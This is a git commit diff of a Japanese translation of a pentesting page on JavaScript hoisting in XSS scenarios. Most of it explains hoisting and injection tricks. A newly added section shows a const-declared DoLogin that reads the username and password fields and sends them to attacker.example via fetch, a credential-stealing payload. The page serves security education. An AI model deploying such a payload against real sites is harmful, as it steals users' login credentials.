Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting

This commit is contained in:
Translator 2025-08-28 19:38:18 +00:00
parent a3e50c8b24
commit 064082515a
2 changed files with 350 additions and 269 deletions

File diff suppressed because it is too large Load Diff

View File

@ -4,29 +4,29 @@
## 基本情報
JavaScript言語では、**Hoisting**として知られるメカニズムがあり、変数、関数、クラス、またはインポートの宣言がコードが実行される前にそのスコープの先頭に概念的に持ち上げられます。このプロセスはJavaScriptエンジンによって自動的に実行され、スクリプトを複数回通過します。
JavaScript には、変数、関数、class、または import の宣言がコード実行前にスコープの先頭に持ち上げられるという仕組み、**Hoisting** が存在します。この処理は JavaScript エンジンが自動的に行い、スクリプトを複数回のパスで処理します。
最初のパスでは、エンジンがコードを解析して構文エラーをチェックし、抽象構文木に変換します。このフェーズにはホイスティングが含まれ、特定の宣言が実行コンテキストの先頭に移動されるプロセスです。解析フェーズが成功すれば、構文エラーがないことを示し、スクリプトの実行が進行します。
最初のパスでは、エンジンがコードをパースして構文エラーをチェックし、抽象構文木に変換します。この段階には hoisting が含まれ、特定の宣言が実行コンテキストの先頭に移されます。パース段階が成功し(構文エラーがないことが確認されれば)、スクリプトの実行が続行されます。
理解することが重要です:
重要な点は以下です:
1. スクリプトは実行されるために構文エラーがない必要があります。構文ルールは厳密に守られなければなりません
2. スクリプト内のコードの配置はホイスティングのために実行に影響を与えますが、実行されるコードはそのテキスト表現とは異なる場合があります。
1. 実行が行われるためにはスクリプトに構文エラーがあってはならない。構文ルールは厳密に守られる必要があります
2. hoisting によりスクリプト内のコード配置が実行結果に影響するため、実際に実行されるコードはテキスト上の表現と異なる場合があります。
#### ホイスティングの種類
#### Types of Hoisting
MDNの情報に基づくと、JavaScriptには4つの異なるホイスティングの種類があります
MDN の情報によると、JavaScript には大きく分けて 4 種類の hoisting があります:
1. **値のホイスティング**:宣言行の前にそのスコープ内で変数の値を使用できるようにします。
2. **宣言のホイスティング**:宣言前にそのスコープ内で変数を参照できるようにしますが、変数の値は`undefined`になります
3. このタイプは、実際の宣言行の前に変数の宣言があるため、そのスコープ内の動作を変更します
4. 宣言の副作用、それを含む他のコードが評価される前に発生します。
1. **Value Hoisting**: 宣言行より前にスコープ内で変数の値を使用できるようにす
2. **Declaration Hoisting**: スコープ内で宣言前に変数を参照しても `ReferenceError` を発生させず、ただし変数の値は `undefined` になる
3. このタイプは、実際の宣言行より前に変数が宣言されることによりスコープ内の挙動が変わる
4. 宣言の副作用、それを含む他のコードが評価される前に発生す
詳細には、関数宣言はタイプ1のホイスティング動作を示します。`var`キーワードはタイプ2の動作を示します。`let``const`、および`class`を含むレキシカル宣言はタイプ3の動作を示します。最後に、`import`文は、タイプ1とタイプ4の両方の動作でホイスティングされる点でユニークです。
詳細では、function 宣言は type 1 の hoisting 挙動を示します。`var` キーワードは type 2 の挙動を示します。`let``const`、および `class` を含むレキシカル宣言は type 3 の挙動を示します。最後に、`import` 文は type 1 と type 4 の両方の挙動で hoist される点が特殊です。
## シナリオ
したがって、**未宣言のオブジェクト**が使用された後に**JSコードを注入できる**シナリオがある場合、宣言することで構文を**修正**できる(エラーを投げるのではなく、あなたのコードが実行されるように):
したがって、未宣言のオブジェクトが使用された後に **Inject JS code after an undeclared object** できるような状況がある場合、宣言を追加して **fix the syntax** すれば(エラーを投げる代わりに)あなたのコードが実行されるようにできます:
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -68,7 +68,7 @@ alert(1);
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
```
## さらなるシナリオ
## その他のシナリオ
```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
@ -127,11 +127,31 @@ alert(1) -
},
})
}
trigger()
```
### constで名前をロックして後の宣言を先取りする
トップレベルの `function foo(){...}` がパースされる前に実行できる場合、同じ名前でレキシカル束縛(例: `const foo = ...`を宣言すると、後でその関数宣言がその識別子に再バインドするのを防げます。これはRXSSで悪用され、ページ後半に定義された重要なハンドラを乗っ取るために使えます:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
注意事項
- これは実行順序とグローバル(トップレベル)スコープに依存します。
- ペイロードが `eval()` の内部で実行される場合、`eval` 内の `const/let` はブロックスコープでありグローバルバインディングを作成しないことに注意してください。真のグローバルな `const` を確立するには、そのコードを含む新しい `<script>` 要素を注入してください。
## 参考文献
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
{{#include ../../banners/hacktricks-training.md}}